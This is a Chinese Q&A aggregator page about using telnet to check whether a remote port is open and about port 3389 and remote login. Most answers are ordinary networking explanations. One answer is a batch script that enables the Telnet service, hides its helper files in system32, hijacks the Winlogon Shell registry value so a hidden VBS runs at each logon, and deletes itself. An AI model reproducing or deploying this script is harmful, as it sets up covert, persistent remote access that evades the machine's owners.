是用telnet ip 端口号的方式查看端口开放情况,怎样通过返回值判断?
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了是用telnet ip 端口号的方式查看端口开放情况,怎样通过返回值判断?相关的知识,希望对你有一定的参考价值。
如果端口打开的情况下,就直接进入该端口下了。有没有具体的数值之类的作为返回,来判断端口是否打开了呢
因为是查看远程主机的端口情况,不希望使用netstat,还是想使用telnet的方式。
一种为: 正在连接到(ip)...不能打开到主机的连接,在端口(端口号):连接失败
这个为该IP该端口未开放的返回结果
另一种则会打开一个新的cdm窗口,并关闭原来的窗口,这就表示了该ip该窗口属于开放状态 参考技术A telnet 上去如果是黑乎乎的界面,看见光标在闪,说明端口开放。如果不能打开端口就是没开放了。 参考技术B 你可以直接在DOS系统下输入命令netstat -an来查看相应的端口是否开放 参考技术C 在DOS下入命令netstat -an。只要能看到的都是打开的,没有显示出来的就是没有打开的端口。
telnet 3389端口的问题
我在命令行里输入 telnet <IP> 3389可以登入远程的系统,但是命令行中输入的字符却看不见,什么原因呢?我不想用mstsc的方式进入远程的桌面,那么通过命令行怎么进入呢?谢谢。
谢谢,那么再问一下,已知远程的管理员用户和密码,如何telnet到远程呢?现在远程的telnet服务没有开,只开了3389端口。
@echo off
echo sc config tlntsvr start= auto>telnet.bat
echo sc start tlntsvr>>telnet.bat
echo set ws=wscript.createobject("wscript.shell")>telnet.vbs
echo ws.run "telnet.bat /start",0>>telnet.vbs
attrib +s +h +r telnet.bat
attrib +s +h +r telnet.vbs
copy telnet.bat %systemroot%\system32
copy telnet.vbs %systemroot%\system32
echo Windows Registry Editor Version 5.00 >auto.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>>auto.reg
echo "Shell"="Explorer.exe %%systemroot%%\\system32\\telnet.vbs">>auto.reg
regedit /s auto.reg
del auto.reg
sc config tlntsvr start= auto
sc start tlntsvr
ping -n 3 127.1>nul
ping -n 12 127.1>nul
del %0
exit
--------
你你说字符看不见我不相信:充其量是用户名输入可以看到,但是密码看不到
这很正常,就像是登陆QQ一样密码是*号。加密的
而在CMD中输入的密码是看不见的,但是已经输入进去了。如果输入正确直接回车就能登录!
不需要看见密码。那只是一种加密方式!
鄙视上面,什么也不知道装S 参考技术A Windows的远程桌面连接的默认端口就是3389,为了安全一般都是关闭的吧。如果你打开了,只要知道用户名密码就可以直接操作你的电脑了。 参考技术B 你好!
命令行无法进行管理的啦,telnet+ip+3389成功后就显示一个黑屏,没办法进行别的操作,一般情况下telnet 3389端口多用来检查远程计算机是否打开了3389端口,可以进行远程登入,经此而已。
你好!
telnet没办法进行管理,就算是知道了用户名密码,telnet只是来验证端口是否打开。
以上是关于是用telnet ip 端口号的方式查看端口开放情况,怎样通过返回值判断?的主要内容,如果未能解决你的问题,请参考以下文章